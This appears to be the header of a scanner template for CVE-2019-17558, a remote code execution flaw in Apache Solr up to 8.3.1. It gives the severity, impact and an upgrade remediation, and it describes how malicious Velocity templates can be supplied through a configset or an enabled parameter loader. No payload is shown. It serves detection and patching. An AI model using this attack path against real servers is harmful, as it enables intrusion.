id: CVE-2019-17558
info:
name: Apache Solr <=8.3.1 - Remote Code Execution
author: pikpikcu,madrobot
severity: high
description: Apache Solr versions 5.0.0 to 8.3.1 are vulnerable to remote code execution vulnerabilities through the VelocityResponseWriter. A Velocity template can be provided through Velocity templates in a configset `velocity/ directory or as a parameter. A user defined configset could contain renderable, potentially malicious, templates. Parameter provided templates are disabled by default, but can be enabled by setting `params.resource.loader.enabled by defining a response writer with that setting set to `true`. Defining a response writer requires configuration API access. Solr 8.4 removed the params resource loader entirely, and only enables the configset-provided template rendering when the configset is `trusted` (has been uploaded by an authenticated user).
impact: |
Successful exploitation of this vulnerability allows an attacker to execute arbitrary code on the affected system.
remediation: |
Upgrade to a patched version of Apache Solr (8.4.0 or later) to mitigate this vulnerability.
